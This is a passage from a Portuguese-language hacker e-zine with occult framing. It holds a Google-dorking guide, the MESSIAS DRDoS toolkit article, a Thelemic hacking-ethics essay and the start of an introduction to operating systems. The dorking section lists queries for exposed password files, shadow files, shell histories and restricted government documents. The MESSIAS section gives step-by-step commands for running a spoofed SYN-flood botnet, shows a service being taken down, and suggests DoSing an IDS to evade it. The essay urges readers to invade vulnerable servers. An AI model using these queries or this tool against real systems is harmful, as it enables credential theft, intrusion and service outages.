Existe ainda uma variação, a allintitle:, que podemos utilizar para outros fins, por exemplo acharextensões do frontpage :allintitle: vti_cnf

Combinando por exemplo com a opção :site

19

Page 20: Equinox Green 2

allintitle: vti_cnf site:.org

Ou ainda :allintitle: login password

Estamos limitados apenas por nossa imaginação.

Dica Profana

As mensagens de erro em páginas podem ser extremamente reveladoras.Exemplos interessantes de procura :

- "access denied for user" "using password"- sitebuildercontent- ORA-00921: unexpected end of SQL command- ORA-00936: missing expression- mysql error with query- intitle:"Under construction" "does not currently have"- intitle:"Execution of this script not permitted"- intitle:"Error Occurred" "The error occurred in" filetype:cfm- internal server error- "Warning: Cannot modify header information - headers already sent"– Supplied argument is not a valid MySQL?Create|Search result resource"Com paciência e tolerância muitas coisas podems er obtidas.

Quinta Operação – URLS

Nesta operação veremos uma cláusula muito interessante a “inurl:” que permite restringir a procurade strings dentro de uma url. Vamos ver a sintaxe :

inurl: passwd

Existe ainda uma variação, a “allinurl:”, que podemos utilizar para outros fins, por exemplocombinando com outros parâmetros :

allinurl:users filetype:mdballinurl:oreilly filetype:pdfallinurl:oreilly filetype:chm site:.ruallinurl:VISA filetype:xls

Temos que observar bem as possibilidades de combinação que ns permitirão utilizar muitasprocuras interessantes.

20

Page 21: Equinox Green 2

Sexta Operação – No texto

Nesta operação veremos uma cláusula muito interessante a “intext:” que permite restringir a procurade strings dentro de um texto de uma página. Vamos ver a sintaxe :

intext:exploits filetype:c

Outros Operadores Magickos

related:Lista páginas com conteúdo similar. Exemplo :

related:www.linux.trix.net

cache: Lista a versão da página no cache do Google.Importante para saber a idade da página afim deverificar se uma informação ainda procede ou existe. Se você acrescentar uma palavra na procura,ela surgirá sublinhada Exemplo :

related:www.plebe.com.br/freemindsrelated:www.linux.trix.net liber000

phonebook:Lista endereços e telefones, contudo isto só funciona nos EUA. Exemplo :

phonebook:bartphonebook:homer+springfield

Na segunda opção lista todos os Homer que moram em Springfield

inanchor:Lista occrrências em âncoras de texto em páginas. Exemplo

inanchor:exploits

21

Page 22: Equinox Green 2

Seção 003h

Fórmulas Magickas

Apresentaremos agora um pequeno grimorio de fórmulas mágickas, das quais podem ser utilizadasno Google. Muitas foram de autoria de outros irmãos e também de minha parte. Vamos a elas :

inurl:/allinrul:

inurl:admin filetype:txtinurl:admin filetype:dbinurl:admin filetype:cfginurl:mysql filetype:cfginurl:passwd filetype:txtinurl:iisadmininurl:auth_user_file.txtinurl:orders.txtinurl:"wwwroot/*."inurl:adpassword.txtinurl:webeditor.phpinurl:file_upload.php

inurl:gov filetype:xls "restricted"index of ftp +.mdb allinurl:/cgi-bin/ +mailto

intitle:/allintitle:

intitle:"Index of" .sh_historyintitle:"Index of" .bash_historyintitle:"index of" passwdintitle:"index of" people.lstintitle:"index of" pwd.dbintitle:"index of" etc/shadowintitle:"index of" spwdintitle:"index of" master.passwd

22

Page 23: Equinox Green 2

intitle:"index of" htpasswdintitle:"index of" members OR accountsintitle:"index of" user_carts OR user_cart_vti_pvt passwordintitle:index.ofintitle:"index of" senhas.mdbintitle:"index of" usuarios.mdb

allintitle: sensitive filetype:docallintitle: restricted filetype :mailallintitle: restricted filetype:doc site:gov

23

Page 24: Equinox Green 2

Seção 004h

Hackeando as URLS do Google

Podemos criar procuras padronizadas as nossas necessidades. Vamos ver alguns exemplos depesquisa.

http://www.google.com/search?q=%22exploits+zero+day%22

O caracter %22 significa a “, que substitui automaticamente da pesquisa. Onde q= representa aquery propriamente dita.

http://www.google.com/search?num=10&&q=%22exploits+zero+day%22

A opção num, indica o número de urls a serem listadas no resultado da query. O valor num=10, lista10 urls por página.

http://www.google.com/search?hl=pt&q=%22exploits%22http://www.google.com/search?wordt hl=pt&q=exploits

Permite escolher com a opção hl, a interface padrão de procura do Google em diversos idiomas, nãoé o tradutor.

http://www.google.com/search?safe=off&q=%22sexo%22http://www.google.com/search?safe=on&q=%22sexo%22

Habilita e desabilita o safe mode, com a opção on e off. Com a opção off, conteúdo pornográfico

24

Page 25: Equinox Green 2

será listado, caso contrário não.

http://www.google.com/search?as_qdr=m1&q=%22exploits%22

Especifica a idade máxima de um resultado, onde m1 significa no máximo com 1 mês de idade. Ovalor pode variar de 1 a 12.

Criando Formulários Personalizados para suas Pesquisas

É possível que o estudante possa criar formulários personalizados para suas pesquisas utilizando oGoogle. Vamos mostrar abaixo alguns exemplos interessantes de código.

<!--Egregora I--><!--Frater Albertus Rabelais--><html><title>Egregora I</title><body bgcolor=”white”><p><center><img src=”http://www.google.com/images/logo_sm.gif”><h1>Procura Personalizada no Google</center></h1><hr><form method=”get” action=”http://www.google.com/search”>Pesquisa:<input type=”text” name=”q” size=40 maxlength=255 value=””><input type=”submit” name=”sa” value=”Pesquisar”></form><hr></body></html>

Vamos agora a outro exemplo mais interessante :

<!--Egregora II--><!--Frater Albertus Rabelais--><html><title>Egregora II</title><body bgcolor=”white”><p><center><img src=”http://www.google.com/images/logo_sm.gif”><h1>Procura Personalizada no Google por Arquivo de Senhas</center></h1><hr><form method=”get” action=”http://www.google.com/search”>Pesquisa:<input type=”text” name=”q” size=40 maxlength=255 value=””><br>Tipo de Arquivo:<input type=”text” name=”as_filetype” size=40 maxlength=255 value=””><br>Dominio ou site (gov,edu,com,etc.):<input type=”text” name=”as_sitesearch” size=40 maxlength=255 value=””><br><input type=”submit” name=”sa” value=”Pesquisar”></form><hr></body></html>

25

Page 26: Equinox Green 2

Estes pequenos e modestos exemplos podem ser utilizados em suas páginas ou mesmo em suas máquinas locais parafacilitar a sua procura de informações. Lembramos que o limite para o estudante está apenas na sua imaginação e na suadedicação aos estudos.

É possível ainda programar utilitários para o Google, recomendo a visita a página de APIS do Google emhttp://www.google.com/apis/

Links Úteis :

http://google-hacks.pagina.nl/ - Recomendadohttp://directory.google.com/Top/Computers/Hacking/http://www.google.com/apis/http://www.robotstxt.org/ - Evitando sua presença no Google

26

Page 27: Equinox Green 2

Discurso Final

Frateres e Sorores,

Chegamos ao final deste nosso Liber e esperamos ter mostrado uma nova faceta de conhecimentopara vocês. Todo o material aqui mostrado é de propósito meramente educativo e em nenhummomento a nossa intenção é prejudicar pessoa, instituição ou qualquer tipo de entidade.

A responsabilidade da utilização do mesmo está nas mãos do estudante, por isso tenha cuidado como ego e aproveite esta pequena contribuição de minha parte para que possamos juntos alcançar ailuminação.

Recomendo que o estudo seja feito de maneira mais dedicada possível, pois sempre lançaremosnovos libri. A nossa missão está sendo fortalecida cada dia que pass pelo aparecimento d enovosirmãos que estavam espalhados pela web e estão se concentrando em nossa “Abadia”.

Temos tantas coisas a mostrar, ensinar e trocar com os Frateres e Sorores que desejam caminharconosco no hacking. Lembramos a todos que estamos aqui divulgando a essência do hacking, nãoalimentando egos, que desejam apenas mostrar-se frente a outros. O crime também é por nósreprovado, todo aquele que utiliza o que está aqui para roubar informações, bens materiais e opróximo que seja 1000 vezes amaldiçoado ! Apopantos Cacodaimonos !

Que seu trabalho seja dirigido e abençoado por todos os mestres que regem o nosso caminho,trazendo a luz, a sabedoria e a tolerância ao nosso dia a dia. Desejo a todos meus votos de pazprofunda.

27

Page 28: Equinox Green 2

M E S S I A SDistributed Reflection Denial of Service Toolkit

A verdade do Universo é tudo aquilo que é transitório, não existe justiça perfeita e nemmaldade perfeita. Devemos ter a capacidade de enxergar a essência de qualquer coisa, pois

este é o hacking, nossa filosofia.

Leandro A. Thomas, vulgo FoxTrot

Imagine um atacante buscando comprometer determinado alvo. Primeiramente, como ocorrena grande maioria das situações, ele instintivamente realiza um fingerprinting na máquina-alvo com a tradicional ferramenta NMAP, buscando conhecer pontos vulneráveis no sistemaatravés dos banners de resposta. Após isto, o mesmo atacante tenta executar scripts queexploram versões dos diversos serviços executados em seu alvo, porém sem sucesso algum.Um simples defacer (ou script-kiddie, como queiram) certamente iria desistir e partir paraoutra, porém alguém determinado, seja um hacker ou cracker, tentaria algo mais: derrubar oservidor.Você já se perguntou como ocorre este tipo de ataque? Antes de falar sobre a ferramentaMESSIAS é interessante recordar alguns pontos importantes para o entendimento de como elafunciona.

CONHECENDO O ATAQUE

O tradicional ataque de negação de serviço (DoS – Denial of Service) consiste em derrubardeterminado serviço, fazendo com que o sistema tenha um comportamento anômalo, variandodesde travamento de simples aplicação até do sistema operacional como um todo, resultandoem reset para voltar responder. Isso ocorre em muitas aplicações, remotas ou locais, porém háum alvo preferencial aos atacantes, que são os servidores web.No ano de 2000, um conceito mais aprofundado desta técnica foi difundido pela comunidadede segurança, onde grandes sites como Yahoo!, CNN, e outros, foram derrubados através dautilização de uma arquitetura distribuída em árvore, denominada Distributed Denial of Service(DDoS). Este ataque corresponde na utilização de um conjunto de máquinas previamentecomprometidas que servem como zumbis, obedecendo as instruções de seu nó superior, e queenviam uma série de pacotes contra seu alvo tornando-o inacessível para seus clientes.Mesmo sendo uma arma poderosa nas mãos de crackers e black-hats, houve um implementoque a tornou mais perigosa que o método original, a elaboração de mais uma técnica quederiva do tradicional DDoS: o Distributed Reflection Denial of Service, ou DRDoS.Esta técnica segue um conceito interessante, trabalhando diretamente com o TCP/IP,spoofando o campo Source IP do cabeçalho IP a fim de “bagunçar” o processo de handskahede comunicação. Apenas para aos que não sabem, em uma comunicação que utiliza o protocoloTCP, há um processo de estabelecimento de conexão ponto-a-ponto entre as máquinasenvolvidas. Uma breve exemplificação pode ser ilustrada abaixo:

28

Page 29: Equinox Green 2

Fig. 1 – Estabelecimento de comunicação no processo de handshake

Basicamente uma conexão é estabelecida em três etapas: a máquina solicitante enviaum pacote com a flag de sincronização setada (SYN) ao host destino, ele por sua vez respondeque o serviço requerido está ativo com as flags SYN e ACK, ou de forma negativa, realizandoum reset de conexão com RST. Caso a resposta seja afirmativa, a máquina solicitanteestabelece a comunicação através da flag ACK, finalizando a etapa de handshake. Este é obásico, visto que existem outras flags como FIN, URG, e outras, influenciando e tendosignificados diferentes no protocolo. Para saber mais a respeito, recomendo ler o RFC 793,que especifica o TCP.

Mas como este “aperto-de-mão” pode ser explorado em um ataque DRDoS? A idéia despoofar um endereço IP inválido pode ser interessante. Imagine se um endereço inválido,criado por nós, envie um pacote SYN à máquina alvo, como ela responderá? Para quem?

Fig. 2 – Diagrama de uma “anomalia” no handshake

A idéia do ataque DRDoS consiste basicamente no envio de um pacote com um IPforjado, inexistente, fazendo com que o alvo gaste tempo e processamento do datagrama, nãoconseguindo responder a segunda etapa de comunicação, o acknowledgment, caindo em umDoS.

Com certeza existem documentos mais específicos que abordam esse assunto com maisênfase nas técnicas, dando exemplos, porém este não é o objetivo do artigo. Caso queira seaprofundar em técnicas de negação de serviço, recomendo pesquisas na Securityfocus, PhrackMagazine e PacketStorm Security, que são grandes referências para o hacking e segurança emgeral; além do nosso amigo Google, é claro.

MESSIAS – A FERRAMENTA

Agora sabendo um pouco sobre algumas técnicas de ataque de negação, apresento avocês a ferramenta MESSIAS. Ela foi originalmente desenvolvida para fins didáticos,obviamente, sem caráter malicioso, porém, apesar disso, haverá aqueles que seguem o ladonegro da força, usando não apenas ela mas também outras para fins nada éticos. Deixo claroque todos os testes foram feitos em localhost e ambiente controlado, em uma LAN restrita semrisco a sistemas de terceiros.

MESSIAS trabalha com a idéia de ataque distribuído usando IP spoofing, como vimos

29

Page 30: Equinox Green 2

anteriormente, a técnica DRDoS. Foi feita sob o sistema operacional Linux (Slackware, nocaso), em linguagem C com o uso de programação IPC, ou InterProcess Comunication.

A programação IPC estabelece um poder a mais quando descrevemos esta ferramenta,pois os daemons interagem entre si via socket, ocorrendo estabelecimento de um canal decomunicação em sistemas distribuídos e hosts diferentes.

O ambiente controlado pelo atacante, com o uso da ferramenta, nos proporciona umaarquitetura em níveis, chamados masters e agents, cuja definição está no próprio conceito deDDoS. O atacante basicamente deverá obter acesso a um certo número de máquinas, queserão nossos zumbis, para então poder deter o controle das mesmas para realização de umataque.

O ataque correspondente é um básico SYN Flood, com os bits SYN e URG (flag deurgência) setados, gerados pelo agente e sobrecarregando o alvo com inúmeras requisiçõesque exigem respostas. Isso é possível através do uso de sockets de baixo nível, denominadoraw sockets, que permitem a manipulação e criação de pacotes a serem enviados, assimpodendo especificar todo seu cabeçalho. Sendo isso possível, spoofamos o endereço IP deorigem através de funções randômicas, mascarando o endereço real de onde a transmissão seinicia.

INSTALAÇÃO & USO

Aos adeptos do sistema open source Linux, não haverá problemas de uso. Qualquerpessoa que tenha o mínimo de conhecimento sobre o sistema operacional poderá operar oMESSIAS. O arquivo Makefile possui as regras de compilação, básicas, apenas um comandomake irá compilar os módulos criando object files e seus binários.

Existem três arquivos gerados que são importantes para nós: o messias, binárioresponsável apenas em scannear determinada lista de IP previamente configurada buscandoos daemons ativos (agentes e mestres); messias-master, o responsável na criação de umprocesso mestre no primeiro nível de nossa árvore, cuja finalidade é comandar seus nósescravos (agentes); e messias-agent, por fim a última ramificação na cadeia de hosts zumbis,que efetuarão o ataque pelas ordens recebidas dos masters.

Depois de ter compilado o código-fonte e gerado corretamente os três binários, vocêpoderá configurar uma lista de IPs e portas nos arquivos master.list e agent.list, que sãopadronizados em conter o endereço dos zumbis mestres e agentes, respectivamente. A sintaxede configuração ocorre da seguinte forma:

[ip-do-host]:[porta]

Ambas as listas poderão ajudar no controle das máquinas que estão sob poder doatacante, scaneando as portas definidas para estabelecer se estão respondendo ou não umaconexão. Verifique os parâmetros utilizados apenas digitando “./messias”, algo bem trivial.

Porém, antes de scanear algo, você deve ter um daemon rodando em alguma máquina,isso pode ser feito em seu ambiente de testes, executando em uma shell o master:

$ ./messias-master &

E em outro host, o agente, com um diferencial: você deverá ter acesso root, pois acriação de raw socket é permitida apenas com usuário de privilégios altos.

# ./messias-agent &

Caso tenha percebido, colocamos o caractere ‘&’ no final do comando para que oprocesso rode em background, liberando a shell para uso. Os processos criados não ficamocultos de um simples comando “ps”, sendo de fácil detecção, apenas há uma camuflagem doargv[0] (primeiro argumento sendo nome do binário); e também não são inseridos em algumscript de boot, não sendo startados em um reboot do sistema. São processos simples, semtratamento especial.

Com a execução de ambos os processos, as portas abertas são tcp/5011 e tcp/1105 para

30

Page 31: Equinox Green 2

o master e o agent, respectivamente, sendo padrão. Caso queira definir de acordo com suavontade, especifique no argv[1], como no exemplo abaixo (valendo para os dois):

$ ./messias-master 4778 &

Uma vez posto os processos em execução, em sua máquina conecte-se ao mestre porTelnet na porta especificada (ou default). Quando for sucedida a conexão, o socket bloqueanteestará ativo, ou seja, haverá uma espera para sua entrada de dados, que será uma senhaconfigurada no arquivo messias.h para permitir seu acesso a shell:

$ telnet localhost 5011Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.master <-------------- nossa senha

Welcome to MESSIAS toolkit.Dev by FoxTrot

messias>

Uma vez dentro do ambiente, você poderá configurar sua rede “escrava” para realizar obombardeio de pacotes. Defina os agentes, alvo da seguinte forma:

messias> agentsPush IP address to create your agent list.Type '.' to end. 1? 127.0.0.1 Port: 1105 Alias: localhost Pass: none 2? .messias> target? 127.0.0.1messias> port? 80messias> startNumber of packages per agent: 1messias>

Neste exemplo, estamos com o agente na própria máquina, colocando o endereço deloopback como agente configurado na porta 1105 (padrão). Os campos alias e pass não estãoativos, são presentes apenas para uso futuro, numa próxima implementação da ferramenta.Depois definindo o alvo e porta a ser atacada, pode-se iniciar o processo com o comando“start”, que irá esperar pelo número de pacotes a ser enviados por cada agente.

Após um tempo, caso queira conferir o resultado, digite “status”:

messias> statusView status panel Victim IP: 127.0.0.1 Port: 80 Service is: DownEnd of STATUS info.messias>

No caso, apenas mostrando sucesso, o serviço HTTP presente na máquina foiderrubado, recusando futuras requisições remotas. Em uma rede interna, confira o resultadofeito pelo tcpdump após a máquina (192.168.10.2) receber um dos pacotes (da 192.168.10.5,onde se encontra o agente) do MESSIAS na porta 21 (note o bit URG setado, IP e porta gerada

31

Page 32: Equinox Green 2

por processo randômico):

14:39:40.464609 IP 155.131.225.217.53552 > xxxxxxxxxxxx.ftp: S 1:1(0) win 541 urg 256 0x0000: 4500 0028 0cdc 0000 ff06 66ec 9b83 e1d9 E..(......f..... 0x0010: c0a8 0a02 d130 0015 0000 0001 0000 0000 .....0.......... 0x0020: 5522 021d 0000 0100 0000 0000 0000 U"............

Só para constar, a cada pacote gerado, o campo de payload é alterado aleatoriamente,para evitar determinada filtragem.

CONSIDERAÇÕES FINAIS

"O saber bastante para o abuso ou a divulgação é merecer todos os suplícios; o saber como sedeve saber para deles servir-se e ocultá-lo é ser senhor do absoluto”

Eliphas Lévi

MESSIAS é uma ferramenta muito simples, programação básica, sem complexidadealguma. É bem verdade que ela pode ser melhorada, quem sabe a implementação decriptografia na interação entre os processos (para fugir de IDS), senhas para controle dosagentes (como ocorre nos mestres), ou alguma estrutura baseada em aliases para mapeamentoda rede. Mas isso fica para o futuro.

Gostaria de ressaltar que esta ferramenta foi originalmente desenvolvida apenas para finseducacionais, não é inteligente sair por aí derrubando sites, por exemplo. Cada cabeça umasentença. Imagine algo mais criativo para o uso dessa ferramenta: análise de pacotes; testesde firewalls; ou você está dentro de uma rede “protegida” por um IDS, Honeypot, ou qualqueroutro sistema promiscuo, e queira passar por ele sem alertá-lo, um DoS na máquina desteserviço cairia bem neste caso. Use a imaginação!

Por fim, gostaria de agradecer a todos os organizadores desta e-zine pela oportunidadedada a mim em expôr uma ferramenta de minha autoria. Existem muitas pessoas que fazemalgo interessante e só precisam de um empurrão para apresentar seu trabalho à comunidade.

Download: http://www.dcc.fesurv.br/~leandro/messias

Obrigado pessoal, e até a próxima! :)

32

Page 33: Equinox Green 2

H A C K I N G 93 !

Por Frater Arjuna – [email protected]

Caros Amigos,

93 !

A algum tempo estive envolvido em uma discussão sobre a postura dos thelemitas, como estousempre no "mundo digital" me perguntei como deve ser a postura do hacker 93. Esse foi omotivo que me levou a escrever esse artigo que expressa uma opinião minha, se for de suavontade concorde e faça como eu ou não. Peço apenas que ao ler as linhas que se seguem sejaverdadeiro com vc mesmo , seja egoista e não egocentrista e se tiver alguma dúvida não penseduas vezes e me mande um email.

Deixe-me primeiramente pesquisar o cenário virtual. Na internet de hoje com os canais de IRCassim como nas antigas BBS tudo pode ter mudado, exceto em um ponto: Voce é o que vcsabe, sem conhecimento vc não é nada. Imagina um espaço onde vc pode mostrar suasopiniões, realizar seus desejos, enfrentar seus medos, se conhecer melhor efim uma série decoisas; assim é a Internet hoje. É o cenário perfeito para a manifestação da Lei de Thelema.

Para saber o que é Lei de Thelema, esta é a na minha opinião, melhor fonte:http://www.astrumargentum.org.br/

"A Lei do forte: esta é a nossa lei e a alegria do mundo." Liber AL vel Legis cap.II v.21

O "forte" é o que tem mais conhecimento, é o mais persistente, o mais criativo, o maisinteligente assim por diante que fique entendido que essa força nada tem a ver com forçafísica. Levando em consideraçào que o amior músculo do corpor é o cérebro e que seualimento é o conhecimento, sua maior força é o que vc sabe.

Enquanto nos atiramos no abismo do conhecimento só conseguiremos entendimento esabedoria se formos obejtivos. De que adianta sabe todas as linguagens de programação domundo se não há um programa para serem escritos com elas? Portanto tenham em mente seuobjetivo, que é somente seu e de mais ninguém. Eu por exemplo estudo informática pq me trazsatisfação o conhecimento e o que posso fazer com ele, uns estudam por status, outros pordinheiro, invadir sistemas, desprezar os que sabem menos...

"Regozija, portanto, Ó iniciado, pois quanto maior for tua prova, maior teu triunfo. Quando oshomens te ultrajarem, e falarem contra ti falsamente, não tem dito o Mestre, “Sagrados soisvós”?

Ainda assim, Ó aspirante, deixa que tuas vitórias tragam a ti não a Vaidade, pois com oaumento do conhecimento acompanharia o aumento da Sabedoria. Ele que sabe pouco, pensaque sabe muito; mas o que sabe muito descobrira sua própria ignorância. Tu vês um homemsábio em sua própria presunção? Não há mais probabilidade de existir um tolo, do que ele."

33

Page 34: Equinox Green 2

Liber Librae v.4-5

Tendo usado seu conhecimeno corretamente e conseguido o sucesso como prova, seja com odesenvolvimento de um sistema ou como uma difícil invasão, comemore a aproveite. Cuidandosempre para que isso não traga a vaidade que é o principal alimento do seu Ego, esse monstrointerno que faz qualquer hacker ter atitude de um lammer babaca. Muitos já cairam pelo Egoalimentado pela vaidade, orgulho, arrogância e prepotência o maior exemplo chama-se KevinMitinick.

"Não sejas apressado em condenar outros; como conheces aquilo no lugar deles, tu poderiaster resistido a tentação? E mesmo se fosse assim, Porque deverias tu menosprezar aquele queé mais fraco do que tu mesmo?" Liber Librae v.6

Um hacker thelemita portanto não despreza os que sabem menos porque, não é preciso atingiro Grau 2 da Ordem DeMolay para compreender que o benefício da dúvida é uma nescessidade.Voce mesmo poderia ter feito pior do que julga que outros tem feito. Ninguém nascesabendo...

"Entretanto há os meus servos disfarçados: pode ser que aquele mendigo adiante seja um Rei.Um Rei pode escolher sua vestimenta como ele quiser: não há teste seguro: mas um mendigonão pode esconder sua pobreza.

Cuidado portanto! Ama a todos, pois pode ser que haja um Rei escondido! Dizes assim? Tolo!Se ele for um Rei, tu não podes machucá-lo." Liber AL vel Legis cap.II v.58-59

Em outras palavras: trate todos iguais pois nunca se sabe quem está do outro lado, pode serque seja um rei ou um mendigo, um hacker ou um lammer.

"O Temor é o fracasso, e o precursor do fracasso; e a coragem é o início da virtude." LiberLibrae v.7

"Desprezai também todos os covardes; soldados profissionais que não ousam lutar, masbrincam; tolos os tolos, desprezai!" Liber AL vel Legis Cap. III v.57

Se o servidor estiver vulnerável invade, se a aplicaçào estiver com problema explore, se aculpa é do administrador exponha-o. Temos hoje, mais do que nunca, que expulsar essas ervasdaninhas. Esse "profissionais" que brincam de programar, esses que são culpados pelosmaiores problemas que temos que resolver. Não tenha piedade, mas lembre-se de seuobjetivo, ataque sempre o culpado.

"Não veleis vossos vícios em palavras virtuosas." Liber AL vel Legis cap.II v.52

Não use nada, principalmente a Lei de Thelema, para justificar seus vícios. Lembre sempreque "Faze o que tu queres" NÃO quer dizer "Faze o que quiseres". O limite da Lei é o bomsenso, sei que é mio complicado falar disso com alguém que 16 anos mas o tempo o melhorremédio nestes casos.

Tentei expôr no artigo que a Lei de Thelema existe para ser vivida em todos as vertentes, eque enquanto sua máxima é "Faze o que tu queres, há de ser tudo da Lei", a maior daliberdade também implica em uma responsabilidade enorme. A chave para o par a feclicidadeé o equilíbrio que gera igualdade e unidade com seu obejtivo.

"Lembra que a força desequilibrada é perniciosa; que a severidade desequilibrada é apenascueldade e opressão; mas que também a misericórdia desequilibrada é apenas fraqueza queconsentiria e incitaria o Mal. Obra com paixão; pensa com razão; sê Tu mesmo." Liber Libraev.12

"Portanto, como já tem sido dito, Estabeleçe-te firmemente no equilíbrio das forças, no centroda Cruz dos Elementos, a Cruz de cujo centro o Mundo Criativo brotou no nascimento da

34

Page 35: Equinox Green 2

aurora do Universo.

Sê tu, portanto, pronto e ativo como os Silfos, mas evita frivolidade e capricho; sê enérgico eforte como as Salamandras, mas evita irritabilidade e ferocidade; sê flexivo e atento àsimagens como as Ondinas, mas evita ociosidade e inconstância; sê laborioso e paciente comoos Gnomos, mas evita grosseria e avarice." Liber Librae v.18-19

93, 93/93

Frater Arjuna

35

Page 36: Equinox Green 2

I N T R O D U Ç Ã O A O S S I S T E M A S O P E R A C I O N A I S

Por Vo ([email protected])

Prefácio

Este artigo é direcionado a pessoas que desejem obter conhecimentos básicos sobre sistemasoperacionais.

Tal conhecimento não serve somente àquele com desejo de criar seu próprio OS, mas tambéma programadores de utilitários em geral, que podem descobrir e avaliar o funcionamento dosistema operacional que utilizam atualmente para melhorar o funcionamento de seusprogramas.

Se você estiver procurando teoria pura de sistemas operacionais, leia um livro. Este artigo édirecionado à situação real e comum da interação e construção de sistemas operacionais combase na arquitetura x86 (porém apresenta alguma teoria básica).

Para a leitura deste artigo, é de grande importância um conhecimento básico sobre C/C++ eassembly, sendo este último não totalmente necessário, pois os exemplos em assembly contêmsempre descrições de seu funcionamento. Além disso, é bom que você também possuamalguma base nos sistemas numéricos hexadecimal e binário.

Devo, sobretudo, avisá-lo que não serei responsável por quaisquer danos que possam ocorrerpela utilização dos exemplos e algoritmos presentes neste artigo. Antes de utilizar os exemplosem discos que possua, verifique a seção sobre emuladores.

Boa leitura!

-- // --

O que é um sistema operacional (os)?

Ao meu ver, um sistema operacional é uma camada de software responsável pelogerenciamento de manutenção coerentes de recursos limitados presentes num computador.Caso não tenha entendido ou gostado da definição, dê uma olhada na wikipedia ou em algumsistema de busca e você poderá encontrar centenas, senão milhares de definições diferentes.Para um usuário comum, um sistema operacional é, nalgumas vezes, praticamente invisível, e,em outras está gritantemente presente durante a utilização do computador. Um exemplo doprimeiro caso, seria o sistema operacional Linux, bastante difundido atualmente e que épraticamente um *kernel rodeado de programas de usuário; quanto ao segundo caso, podemoscitar um sistema operacional com interface gráfica e gerenciamento da mesma e de suainteração presente no *kernel que todos nós conhecemos >:P

36

Page 37: Equinox Green 2

A preocupação de um sistema operacional reside na manutenção do sistema computacional ede sua utilização, de modo que os dados nele presente contenham um mínimo de organizaçãoe coerência para que possam ser acessados e mantidos seguramente.O sistema operacional é responsável por manter os dados do usuário e manipulá-los demaneira coerente, e ainda por integrar o hardware ao software de usuário. Essa integraçãodepende do sistema; há sistemas que mantêm a distância entre o software e o hardware damaneira mais invisível possível, enquanto outros podem deliberadamente permitir o acesso aohardware, e ainda de maneira direta.Talvez você esteja se perguntando porque é necessário colocar essa camada entre o softwarede usuário. Imagine a seguinte situação: o programa A tenta escrever no disco (em umarquivo), enquanto o programa B tenta fazer o mesmo; sem um sistema operacional, váriosproblemas podem ocorrer, como a corrupção dos dados armazenados pelo programa A, porparte do programa B.Além disso, veremos mais adiante que você não poderia estar escutando música no seu playerpreferido e lendo este artigo ao mesmo tempo sem um sistema operacional.

Não vou citar a história dos sistemas operacionais por ser um tanto extensa e monótona (sevocê quiser saber mais sobre a história dos sistemas operacionais, faça uma busca ou leia umlivro).

Os sistemas operacionais são geralmente construídos utilizando linguagens de programaçãobastante comuns, como C e assembly (e por essa razão, muitas vezes acabam herdando falhasde funções e bibliotecas escritas nestas linguagens, tornando-se assim um alvo para ohacking). A diferença na análise da construção de um sistema operacional em relação a umprograma de usuário está na interação: enquanto o sistema operacional tem de interagir com ohardware, o programa de usuário tem a necessidade de interagir com o próprio sistemaoperacional.

A linguagem C pode ser utilizada por oferecer um excelente suporte para a manipulação dedados, porém a utilização de somente C pode tornar a programação inicial um tanto difícil(senão impossível), sendo, portanto, necessária à utilização de uma linguagem mais aplicadaao hardware; a escolha mais comum neste caso, é assembly, porém, diferentemente de C,assembly não é portável em muitos casos, sendo, então, necessário à reformulação de pedaçosde código escritos em assembly quando se deseja portar o sistema operacional para outrasplataformas. Se você deseja escrever um sistema operacional portável, mantenha o seu códigoassembly o mais portável, compreensível e pequeno possível.

Ocorre em alguns casos a utilização de C++, devido à sua orientação a objetos (convenhamosque trabalhar com classes é bem legal ^^).

Tanto na utilização de somente C, quanto na combinação de C e C++, deve-se notar o fato deque você não terá a biblioteca padrão disponível, e, no caso de C++, você não poderá utilizaralgumas operações como try, typeid, throw, new, delete e qualquer outra operação quenecessite de suporte em tempo de execução (runtime), a não ser que você escreva seu própriocódigo para lidar com tais operações. Em relação à biblioteca padrão,a razão dela não poderser utilizada se deve ao fato de que a biblioteca padrão não é igual em todos os sistemasoperacionais e, na maioria dos casos, também não está habilitada a trabalhar diretamente como hardware. Você pode estar pensando: "Perai, mas se a biblioteca não é igual em todos ossistemas operacionais, se eu escrever printf no sistema X, o que eu tenho que escrever no Y?".A resposta é simples: "printf"!

A implementação da biblioteca é diferente e adaptada a cada sistema operacional, porém asfunções possuem os mesmos rótulos. Assim, um mesmo "printf" imprime na tela de umamaneira num sistema operacional, enquanto em outro, esse "printf" também imprime na tela,porém de uma maneira, muitas vezes, totalmente diferente.

Assim como há diferentes implementações da biblioteca padrão, caso esteja pensando emescrever um sistema operacional, você pode escrever a sua. É claro que você terá de saber umpouco sobre hardware quando for ler algum disco, ou mesmo imprimir algo, mas não é nadatão absurdo que algum tempo de pesquisa não resolva, e, no fim deste artigo (se eu lembrar

37

Page 38: Equinox Green 2

=~~) eu colocarei algumas dicas em relação ao hardware comum em um x86 que podem serrealmente úteis.

Você pode escrever sua própria biblioteca para seu os ou utilizar bibliotecas existentes, masque sejam voltadas para o desenvolvimento de os, no caso.

Voltando às linguagens, apesar da soberania do C, existem sistemas operacionais escritos emoutras linguagens. Como exemplo, temos o Sun Glasses, da Sun, ainda em desenvolvimento,que é escrito em java e há também muitos exemplos em pascal.

É interessante, também, dizer que as bibliotecas de C são geralmente voltadas ao os para oqual serão criados os executáveis, assim, não basta copiar uma lib de um os para outro, porquêo que as libs fazem é traduzir o comando que o programa deseja executar em outro comandoque seja reconhecível para o os. Um exemplo é o caso daquele os do tio Bill, onde, se vocêdebugar a função open, verá que ela chama uma função chamada CreateFile, que éreconhecida pelo kernel do mesmo.

Bem, vamos ao que interessa ^^

O BOOT

Esse é o princípio de tudo, o gênesis da computação!

Você dificilmente encontrará algo sobre boot em livros e artigos sobre teoria de sistemasoperacionais, porém, na prática, é aqui que tudo começa.

O boot, ou processo de boot, é na verdade uma bateria de testes realizados pela Bios (x86),porém, utilizamos o termo comumente para nos referirmos a inicialização do os.Para quem não sabe, a Bios é a melhor amiga do programador de os, pois ela fornece umainterface de trabalho com o hardware. Porém, a bios apresenta uma limitação: elas geralmentesão escritas para modo real.Para quem pretende construir ou trabalhar com um sistema operacional num ambiente de 32ou 64 bits, ela pode não ser muito útil em alguns casos, porém, a bios guarda informaçõesvaliosas, que podem servir de base quando estivermos noutros modos.

